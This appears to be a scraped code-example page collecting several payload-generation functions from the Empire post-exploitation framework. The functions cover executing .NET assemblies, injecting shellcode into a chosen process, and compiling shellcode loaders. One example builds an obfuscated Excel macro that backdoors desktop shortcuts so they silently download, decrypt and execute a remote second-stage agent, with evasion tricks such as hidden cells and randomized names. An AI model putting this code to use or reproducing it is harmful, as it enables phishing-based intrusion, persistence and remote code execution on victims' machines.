def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        # Helper function for arguments
        def parse_assembly_args(args):
            stringlist = []
            stringbuilder = ""
            inside_quotes = False

            if not args:
                return '""'
            for ch in args:
                if ch == " " and not inside_quotes:
                    stringlist.append(stringbuilder) # Add finished string to the list
                    stringbuilder = "" # Reset the string
                elif ch == '"':
                    inside_quotes = not inside_quotes
                else: # Ch is a normal character
                    stringbuilder += ch # Add next ch to string

            # Finally...
            stringlist.append(stringbuilder)
            for arg in stringlist:
                if arg == "":
                    stringlist.remove(arg)

            argument_string = '","'.join(stringlist)
            # Replace backslashes with a literal backslash so an operator can type a file path like C:\windows\system32 instead of C:\\windows\\system32
            argument_string = argument_string.replace("\\", "\\\\")
            return f'\"{argument_string}\"'


        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-Assembly.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        try:
            with open(f"{main_menu.installPath}/downloads/{params['File']}", 'rb') as f:
                assembly_data = f.read()
        except:
            return handle_error_message("[!] Could not read .NET assembly path at: " + str(params['Arguments']))

        encode_assembly = helpers.encode_base64(assembly_data).decode('UTF-8')

        # Do some parsing on the operator's arguments so it can be formatted for Powershell
        if params['Arguments'] != '':
            assembly_args = parse_assembly_args(params['Arguments'])

        script_end = f'\nInvoke-Assembly -ASMdata "{encode_assembly}"'
        # Add any arguments to the end execution of the script
        if params['Arguments'] != '':
            script_end += " -" + "Arguments" + " " + assembly_args

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Ejemplo n.º 2
0
    def generate(self):
        # default booleans to false
        obfuscate_script = False

        # extract all of our options
        language = self.options['Language']['Value']
        listener_name = self.options['Listener']['Value']
        user_agent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxy_creds = self.options['ProxyCreds']['Value']
        stager_retries = self.options['StagerRetries']['Value']
        target_exe = self.options['TargetEXEs']['Value']
        xls_out = self.options['XlsOutFile']['Value']
        xml_path = self.options['XmlUrl']['Value']
        xml_out = self.options['XmlOutFile']['Value']
        bypasses = self.options['Bypasses']['Value']

        if self.options['Obfuscate']['Value'].lower == "true":
            obfuscate_script = True

        obfuscate_command = self.options['ObfuscateCommand']['Value']

        # catching common ways date is incorrectly entered
        kill_date = self.options['KillDate']['Value'].replace('\\', '/').replace(' ', '').split('/')
        if (int(kill_date[2]) < 100):
            kill_date[2] = int(kill_date[2]) + 2000
        target_exe = target_exe.split(',')
        target_exe = [_f for _f in target_exe if _f]

        # set vars to random alphabetical / alphanumeric values
        shell_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        lnk_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        fso_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        folder_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        file_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
        enc_key = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation,
                          random.randint(16, 16)))
        # avoiding potential escape characters in our decryption key for the second stage payload
        for ch in ["\"", "'", "`"]:
            if ch in enc_key:
                enc_key = enc_key.replace(ch, random.choice(string.ascii_lowercase))
        enc_iv = random.randint(1, 240)

        # generate the launcher
        if language.lower() == "python":
            launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language,
                                                               encode=False,
                                                               userAgent=user_agent, proxy=proxy,
                                                               proxyCreds=proxy_creds,
                                                               stagerRetries=stager_retries)
        else:
            launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language,
                                                               encode=True,
                                                               obfuscate=obfuscate_script,
                                                               obfuscationCommand=obfuscate_command,
                                                               userAgent=user_agent,
                                                               proxy=proxy, proxyCreds=proxy_creds,
                                                               stagerRetries=stager_retries, bypasses=bypasses)

        launcher = launcher.replace("\"", "'")

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            try:
                reader = xlrd.open_workbook(xls_out)
                work_book = copy(reader)
                active_sheet = work_book.get_sheet(0)
            except (IOError, OSError):
                work_book = Workbook()
                active_sheet = work_book.add_sheet('Sheet1')

            # sets initial coords for writing data to
            input_row = random.randint(50, 70)
            input_col = random.randint(40, 60)

            # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
            macro = "Sub Auto_Close()\n"

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Wscript.shell"))
            macro += "Set " + shell_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                    input_col) + "\").value)\n"
            input_col = input_col + random.randint(1, 4)

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Scripting.FileSystemObject"))
            macro += "Set " + fso_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                  input_col) + "\").value)\n"
            input_col = input_col + random.randint(1, 4)

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization("desktop"))
            macro += "Set " + folder_var + " = " + fso_var + ".GetFolder(" + shell_var + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value))\n"
            macro += "For Each " + file_var + " In " + folder_var + ".Files\n"

            macro += "If(InStr(Lcase(" + file_var + "), \".lnk\")) Then\n"
            macro += "Set " + lnk_var + " = " + shell_var + ".CreateShortcut(" + shell_var + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value) & \"\\\" & " + file_var + ".name)\n"
            input_col = input_col + random.randint(1, 4)

            macro += "If("
            for i, item in enumerate(target_exe):
                if i:
                    macro += (' or ')
                active_sheet.write(input_row, input_col, target_exe[i].strip().lower() + ".")
                macro += "InStr(Lcase(" + lnk_var + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(input_row,
                                                                                                            input_col) + "\").value)"
                input_col = input_col + random.randint(1, 4)
            macro += ") Then\n"
            # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop.  After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process.  This code is then executed to gain a full agent on the remote system.
            launch_string1 = "hidden -nop -c \"Start(\'"
            launch_string2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
            launch_string3 = ") -le " + str(kill_date[2]) + str(kill_date[0]) + str(kill_date[1]) + "){$b.Load(\'"
            launch_string4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(enc_iv) + ".." + str(
                enc_iv + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
            launch_string5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""

            # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
            macro += lnk_var + ".IconLocation = " + lnk_var + ".targetpath\n"
            launch_string1 = helpers.randomize_capitalization(launch_string1)
            launch_string2 = helpers.randomize_capitalization(launch_string2)
            launch_string3 = helpers.randomize_capitalization(launch_string3)
            launch_string4 = helpers.randomize_capitalization(launch_string4)
            launch_string5 = helpers.randomize_capitalization(launch_string5)
            launch_string_sum = launch_string2 + "'%Y%m%d'" + launch_string3 + xml_path + launch_string4 + enc_key + launch_string5

            active_sheet.write(input_row, input_col, launch_string1)
            launch1_coords = self.coordsToCell(input_row, input_col)
            input_col = input_col + random.randint(1, 4)
            active_sheet.write(input_row, input_col, launch_string_sum)
            launch_sum_coords = self.coordsToCell(input_row, input_col)
            input_col = input_col + random.randint(1, 4)

            macro += lnk_var + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1_coords + "\").Value & " + lnk_var + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launch_sum_coords + "\").Value" + "\n"

            active_sheet.write(input_row, input_col, helpers.randomize_capitalization(
                ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
            macro += lnk_var + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell(
                input_row, input_col) + "\").value\n"
            input_col = input_col + random.randint(1, 4)
            # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
            macro += "if(Len(" + lnk_var + ".arguments) < 1023) Then\n"
            macro += lnk_var + ".save\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "next " + file_var + "\n"
            macro += "End Sub\n"
            active_sheet.row(input_row).hidden = True
            print(helpers.color("\nWriting xls...\n", color="blue"))
            work_book.save(xls_out)
            print(helpers.color(
                "xls written to " + xls_out + "  please remember to add macro code to xls prior to use\n\n",
                color="green"))

            # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
            iv_buf = ("").encode('UTF-8')
            for z in range(0, 16):
                iv = enc_iv + z
                iv = iv.to_bytes(1, byteorder='big')
                iv_buf = b"".join([iv_buf, iv])

            encryptor = AES.new(enc_key.encode('UTF-8'), AES.MODE_CBC, iv_buf)

            # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
            padding = 16 - (len(launcher) % 16)
            if padding == 0:
                launcher = launcher + ('\x00' * 16)
            else:
                launcher = launcher + (chr(padding) * padding)

            cipher_text = encryptor.encrypt(launcher.encode('UTF-8'))
            cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text]))

            # write XML to disk
            print(helpers.color("Writing xml...\n", color="blue"))
            file_write = open(xml_out, "wb")
            file_write.write(b"<?xml version=\"1.0\"?>\n")
            file_write.write(b"<main>")
            file_write.write(cipher_text)
            file_write.write(b"</main>\n")
            file_write.close()
            print(helpers.color(
                "xml written to " + xml_out + " please remember this file must be accessible by the target at this url: " + xml_path + "\n",
                color="green"))

            return macro
Ejemplo n.º 3
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # staging options
        listener_name = params["Listener"]
        pid = params["pid"]
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]
        launcher_obfuscation_command = params["ObfuscateCommand"]
        language = params["Language"]
        dot_net_version = params["DotNetVersion"].lower()
        parentproc = params["parentproc"]
        arch = params["Architecture"]
        launcher_obfuscation = params["Obfuscate"]

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        launcher = main_menu.stagers.generate_launcher(
            listener_name,
            language=language,
            encode=False,
            obfuscate=launcher_obfuscation,
            obfuscationCommand=launcher_obfuscation_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
        )

        if not launcher or launcher == "" or launcher.lower() == "failed":
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        if language.lower() == "powershell":
            shellcode = main_menu.stagers.generate_powershell_shellcode(
                launcher, arch=arch, dot_net_version=dot_net_version)

        elif language.lower() == "csharp":
            if arch == "x86":
                arch_type = 1
            elif arch == "x64":
                arch_type = 2
            elif arch == "both":
                arch_type = 3
            directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
            shellcode = donut.create(file=directory, arch=arch_type)

        elif language.lower() == "python":
            if dot_net_version == "net35":
                return (
                    None,
                    "[!] IronPython agent only supports NetFramework 4.0 and above.",
                )
            shellcode = main_menu.stagers.generate_python_shellcode(
                launcher, arch=arch, dot_net_version="net40")

        base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8")

        compiler = main_menu.loadedPlugins.get("csharpserver")
        if not compiler.status == "ON":
            return None, "csharpserver plugin not running"

        # Convert compiler.yaml to python dict
        compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
        # delete the 'Empire' key
        del compiler_dict[0]["Empire"]
        # convert back to yaml string
        compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)

        file_name = compiler.do_send_message(compiler_yaml, module.name)
        if file_name == "failed":
            return None, "module compile failed"

        script_file = (main_menu.installPath +
                       "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" +
                       (params["DotNetVersion"]).lower() + "/" + file_name +
                       ".compiled")

        script_end = f",/t:1 /pid:{pid} /f:base64 /sc:{base64_shellcode}"
        return f"{script_file}|{script_end}", None
Ejemplo n.º 4
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # Helper function for arguments
        def parse_assembly_args(args):
            stringlist = []
            stringbuilder = ""
            inside_quotes = False

            if not args:
                return '""'
            for ch in args:
                if ch == " " and not inside_quotes:
                    stringlist.append(stringbuilder)  # Add finished string to the list
                    stringbuilder = ""  # Reset the string
                elif ch == '"':
                    inside_quotes = not inside_quotes
                else:  # Ch is a normal character
                    stringbuilder += ch  # Add next ch to string

            # Finally...
            stringlist.append(stringbuilder)
            for arg in stringlist:
                if arg == "":
                    stringlist.remove(arg)

            argument_string = '","'.join(stringlist)
            # Replace backslashes with a literal backslash so an operator can type a file path like C:\windows\system32 instead of C:\\windows\\system32
            argument_string = argument_string.replace("\\", "\\\\")
            return f'"{argument_string}"'

        # read in the common module source code
        script, err = main_menu.modules.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        try:
            with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as f:
                assembly_data = f.read()
        except:
            return handle_error_message(
                "[!] Could not read .NET assembly path at: " + str(params["Arguments"])
            )

        encode_assembly = helpers.encode_base64(assembly_data).decode("UTF-8")

        # Do some parsing on the operator's arguments so it can be formatted for Powershell
        if params["Arguments"] != "":
            assembly_args = parse_assembly_args(params["Arguments"])

        script_end = f'\nInvoke-Assembly -ASMdata "{encode_assembly}"'
        # Add any arguments to the end execution of the script
        if params["Arguments"] != "":
            script_end += " -" + "Arguments" + " " + assembly_args

        script = main_menu.modules.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
Ejemplo n.º 5
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # options
        listener_name = params["Listener"]
        proc_id = params["ProcId"].strip()
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]
        arch = params["Arch"]

        # read in the common module source code
        script, err = main_menu.modules.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message(
                "[!] Invalid listener: {}".format(listener_name)
            )
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listener_name,
                language="powershell",
                encode=True,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds,
            )

            if launcher == "":
                return handle_error_message("[!] Error in launcher generation.")
            else:
                launcher_code = launcher.split(" ")[-1]
                sc = main_menu.stagers.generate_powershell_shellcode(
                    launcher_code, arch
                )
                encoded_sc = helpers.encode_base64(sc)

        script_end = '\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String("{}")) -Force'.format(
            proc_id, encoded_sc
        )
        script_end += "; shellcode injected into pid {}".format(str(proc_id))

        script = main_menu.modules.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
Ejemplo n.º 6
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        listener_name = params['Listener']
        proc_id = params['ProcId'].strip()
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        arch = params['Arch']

        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source,
                                       obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source",
                                                  "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        # If you'd just like to import a subset of the functions from the
        #   module source, use the following:
        #   script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
        script = module_code
        script_end = "; shellcode injected into pid {}".format(str(proc_id))

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message(
                "[!] Invalid listener: {}".format(listener_name))
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listener_name,
                language='powershell',
                encode=True,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds)

            if launcher == '':
                return handle_error_message(
                    '[!] Error in launcher generation.')
            else:
                launcher_code = launcher.split(' ')[-1]

                sc = main_menu.stagers.generate_shellcode(launcher_code, arch)

                encoded_sc = helpers.encode_base64(sc)

        # Add any arguments to the end execution of the script

        # t = iter(sc)
        # pow_array = ',0x'.join(a+b for a,b in zip(t, t))
        # pow_array = "@(0x" + pow_array + " )"
        script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(
            proc_id, encoded_sc)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Ejemplo n.º 7
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        listener_name = params['Listener']
        proc_id = params['ProcId'].strip()
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        arch = params['Arch']

        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "; shellcode injected into pid {}".format(str(proc_id))

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message(
                "[!] Invalid listener: {}".format(listener_name))
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listener_name,
                language='powershell',
                encode=True,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds)

            if launcher == '':
                return handle_error_message(
                    '[!] Error in launcher generation.')
            else:
                launcher_code = launcher.split(' ')[-1]
                sc = main_menu.stagers.generate_powershell_shellcode(
                    launcher_code, arch)
                encoded_sc = helpers.encode_base64(sc)

        script_1 = "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(
            proc_id, encoded_sc)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_1 + script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script